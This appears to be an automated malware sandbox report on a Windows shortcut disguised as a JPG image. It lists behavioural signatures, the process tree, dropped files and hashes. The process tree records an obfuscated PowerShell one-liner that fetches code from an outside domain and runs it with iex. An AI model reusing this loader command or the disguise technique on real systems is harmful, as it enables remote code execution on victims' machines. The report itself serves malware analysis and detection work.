Analysis

  • max time kernel
    148s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/07/2026, 11:06

General

  • Target
    IMG_20260724_141910.jpg.lnk
  • Size 1KB
  • Sample260725-m7le2awsbt
  • SHA256 c1ad57529fc18ebb05fcffd5b49d453133a8f67e4b6e848065bf6ae9727abac5
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_141910.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reservphoto','instay.one')[0,1] -join $NZHuGi4) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5724
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4124
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3ADC.tmp" "c:\Users\Admin\AppData\Local\Temp\c31fjp3n\CSCA0B031B1944C0A8F7B4737694DD524.TMP"
          4⤵
            PID:3316

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES3ADC.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES3ADC.tmp
          • Size 1KB
          • SHA256 90a1fceb7d6affdb47c3ca72df10736ea708abe495e27dec85d73b948f3da73a
          • MD5 SHA1 SHA512 TLSH

          c31fjp3n.dll

          • Path C:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.dll
          • Size 3KB
          • SHA256 fde45e852b738ce71ad5785ea9da06e952ef53fbe6c8546c8047753a5bec5e26
          • MD5 SHA1 SHA512 TLSH

          CSCA0B031B1944C0A8F7B4737694DD524.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\c31fjp3n\CSCA0B031B1944C0A8F7B4737694DD524.TMP
          • Size 652B
          • SHA256 e9dae8f1d852d0cb7219fd74738effd92800a8f38ecfb898b8643cba525d8c78
          • MD5 SHA1 SHA512 TLSH

          c31fjp3n.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          c31fjp3n.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\c31fjp3n\c31fjp3n.cmdline
          • Size 369B
          • SHA256 87b7961b4b688c15c2c1020bb1cfa217743a3b7011accd49bd0d755edcf1e540
          • MD5 SHA1 SHA512 TLSH

          memory/5724-8-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-10-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-11-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-12-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-13-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-14-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-9-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-2-0x00007FF9C3B7F000-0x00007FF9C3B80000-memory.dmp

          memory/5724-28-0x000001E7F57A0000-0x000001E7F57A8000-memory.dmp

          memory/5724-7-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-5-0x000001E7F57B0000-0x000001E7F57D2000-memory.dmp

          memory/5724-6-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp

          memory/5724-32-0x00007FF9C39F0000-0x00007FF9C4394000-memory.dmp